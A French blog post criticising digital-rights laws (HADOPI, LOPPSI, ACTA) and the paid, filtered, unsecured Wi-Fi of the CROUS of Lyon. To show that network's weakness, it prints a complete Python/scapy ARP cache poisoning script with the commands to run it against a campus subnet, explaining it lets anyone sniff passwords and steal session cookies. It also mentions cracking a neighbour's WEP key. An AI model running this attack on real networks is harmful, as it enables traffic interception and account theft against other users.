Fred

Voilà la question que je me pose, à chaque fois que je parcours mes sites d’actualités et que celle-ci me choque. Et encore plus lorsque j’évoque le sujet avec d’autres gens.

J’ai l’impression d’être un original. Oui, je m’informe sur des blogs, et non, les blogs, ce n’est pas le truc de skyrock d’avant facebook (enfin, si vous me lisez, ici sur mon blog, je prêche à des convertis). Oui, sur ces blogs et ces sites d’informations « spécialisés », il est question de choses dont on n’entend pas parler à la télé.

Parce qu’elles n’intéressent que les marginaux ? Les fameux « geeks » ? On pourrait tout à fait croire que oui. Mais moi, j’ai l’impression d’avoir à faire à de véritables enjeux de société : la neutralité du Net, le logiciel libre, le combat contre les lois HADOPI, LOPPSI, le traité ACTA.

Je me dis que ce sont plutôt les autres qui cherchent l’information au mauvais endroit et qui passent à côté de ça. Cette lutte est la descendante de celle que menaient nos ancêtres de 1789. Internet est ce que les philosophes des Lumières pouvaient imaginer de mieux.

Mais, seul face à tant de gens, il y a de quoi se remettre en question. Et si je passais à côté de choses plus importantes dans l’actualité ?..

J’ai passé 5 minutes à Decitre il y a quelques jours. A peine entré, les couvertures m’aveuglent : « Sarkozy : L’impétueux », « L’Islam pour les Nuls », « Pourquoi les banlieues sont de droites »… C’est donc ça qui fait l’actualité ? Un bonhomme qui sauve la Grèce toutes les semaines, de la religion, encore et toujours ce genre de conneries ? Je passe mon chemin.

Désolé mais je n’ai vraiment pas l’impression que ces sujets ont la moindre importance vis à vis de ce qui se passe du côté du numérique. Dernier en date, le « fichier des gens honnêtes » : « La France, le premier et seul pays au monde à autoriser le fichage et la reconnaissance faciale de toute sa population. » Vous avez aussi sans doute entendu parler d’ACTA, un accord commercial discuté en secret par les lobbys, dont l’idée de fond est « comment pourrait on retreindre les libertés afin de faire plus de fric ? ». En voici quelques exemples :

• Fouille des bagages par les agents des ayants-droit à la frontière, sur simple présomption de possession de copies d’œuvres sous copyright (art. 14 & 17)
• Destruction des médicaments génériques à la frontière (art. 16 & 17)
• Les fournisseurs d’accès à Internet seront « encouragés » à espionner tout ce que l’on fait sur internet (art. 27, alinéas 3 & 4)
• Être traité comme un trafiquant de drogue, et sanctionné plus sévèrement qu’un violeur, pour avoir transporté une copie d’un film téléchargé (art. 24)
• Le tout sous la coordination de comités réunissant États et ayants-droit qui auront le pouvoir de modifier le traité après coup : on leur signe une feuille blanche (art. 28, 36 & 42)

Quant on pense aux gens qui sont morts pour qu’on ne vive pas dans une dictature…

Bref. En voyant toutes ces infos dans le domaine étriqué de l’actualité « numérique », je me demandais si dans d’autres secteurs, il y avait des choses tout aussi préoccupantes. Je vois l’écologie, déjà. Mais pour moi, c’est déjà secondaire. Et je ne vois pas grand chose d’autre.

Alors certains penseront que c’est stupide d’aller voter en fonction de ça, mais pas moi (même si le vote utile passera sans doute par là). J’avoue qu’actuellement, toutes ces questions ne représentent que quelques lignes dans des programmes de plusieurs dizaines de pages. Mais justement, ça n’est pas normal.

Au fait, Wikipédia vient me soutenir dans ce que je dis :

Les principaux maux dont souffrirait la loi sont :

• Lois multiples

Il s’agit de l’inflation législative galopante que nous connaissons actuellement. C’est sans doute le pire de tous les maux. Le parlement adopte de multiples lois pour des motifs divers et variés. Le problème, c’est que les députés présents ne sont pas tous juristes. Sont donc adoptées trop souvent des mesures mal écrites, incompréhensibles ou inapplicables.

• Lois jetables

Les politiques voulant inscrire leur nom dans le marbre de la loi, ils s’empressent d’en faire adopter une. Puis on s’aperçoit que la loi a été mal écrite. Il ne reste donc plus qu’à la jeter (le plus souvent elle reste inappliquée).

• Lois émotives

C’est une tendance forte. Elle consiste à vouloir légiférer systématiquement dès qu’un problème survient, avant même que les causes du problème soient connues. Une fois l’émotion passée, si la loi a été adoptée, on s’aperçoit souvent, là encore, que prise dans l’urgence, elle a été mal écrite.

• Lois molles

Aussi appelées « neutrons législatifs ». C’est une loi sans contenu obligatoire, qui ne va donc avoir aucun effet en pratique. Liées aux problèmes des lois jetables et émotives.

• Lois protectionnistes

Ce sont des lois destinées à protéger des entreprises en les préservant de la concurrence ou de l’évolution inéluctable des sciences et techniques. C’est le cas de la loi DADVSI et de HADOPI que l’on peut assimiler au fameux Locomotive Act anglais.

(On peut classer la censure des sites web au nom de la lutte contre la pédopornographie dans la catégorie « lois émotives »)

Et ne venez pas me dire que la loi, c’est aussi un détail.

Quel est le statut du CROUS de Lyon quand celui-ci vend, pour 6 euros par mois, un code d’accès à son réseau Wi-Fi, donnant ainsi l’accès au réseau Internet ? Fournisseur d’Accès Internet ? J’imagine que non.

Parce que Internet filtré, ce n’est plus Internet. Impossible d’aller, par exemple, sur MegaUpload. Obligé de contourner cela par un proxy.

Ensuite, parce qu’un fournisseur d’accès à Internet doit, j’imagine, préciser le débit, fut-il théorique, qu’il vous vend. Là, rien n’est dit. On peut avoir de bonnes surprises, comme de très mauvaises…

Également, le code d’accès est limité à un appareil. Comment faire quand on a deux ordis ? Ou un smartphone et un ordi ? Ou les trois ? Obligé de chercher des identifiants FreeWifi ? De cracker la clé WEP du voisin ? D’utiliser son téléphone en tant que hotspot ?

Enfin, pour 6 €, vous avez droit à tout ça dans un réseau non protégé. Cela veut dire que, si vous vous êtes honnêtement acquittés de cette somme pour accéder à Facebook, vous n’êtes pas à l’abri de vous faire voler votre session par qui que ce soit.

Exemple : test.py

#! /usr/bin/python

from scapy.all import *
import sys
import time

rang = sys.argv[1]
iprouteur = sys.argv[2]

a = arping(rang, timeout=7)
d = {}
for i in range(len(a[0])) :
	d[a[0][i][1][ARP].psrc] = a[0][i][1][ARP].hwsrc

if d.has_key(iprouteur):
	d.pop(iprouteur)

while (True):
	for a in d:
		paquet_arp = Ether(dst=d[a]) / ARP(psrc=iprouteur, hwdst=d[a], pdst=a)
		sendp(paquet_arp)
	time.sleep(4)

$ sudo su
# echo 1 > /proc/sys/net/ipv4/ip_forward
# ./test.py 10.30.100-101.1-255 10.30.100.3

Ceci est une attaque de arp cache poisonning réalisable même par quelqu’un ne possédant pas de code d’accès, le faisant passer pour le routeur auprès de tous les usagers du réseau. Ainsi, tout le traffic émis par les utilisateurs passe par lui, il peut le consulter avec Wireshark par exemple, et en extraire ce que bon lui semble (mots de passes en clair, cookies pour voler votre session Facebook, Twitter, etc…).
Pas top.

Je pense qu’un code d’accès devrait être donné gratuitement à chaque étudiant, et qu’il devrait offrir un véritable accès à Internet. Quitte à ce qu’une limite de bande passante soit mise en place pour mieux répartir. Et pour sécuriser leur système : un code sous forme de clé WPA2 ?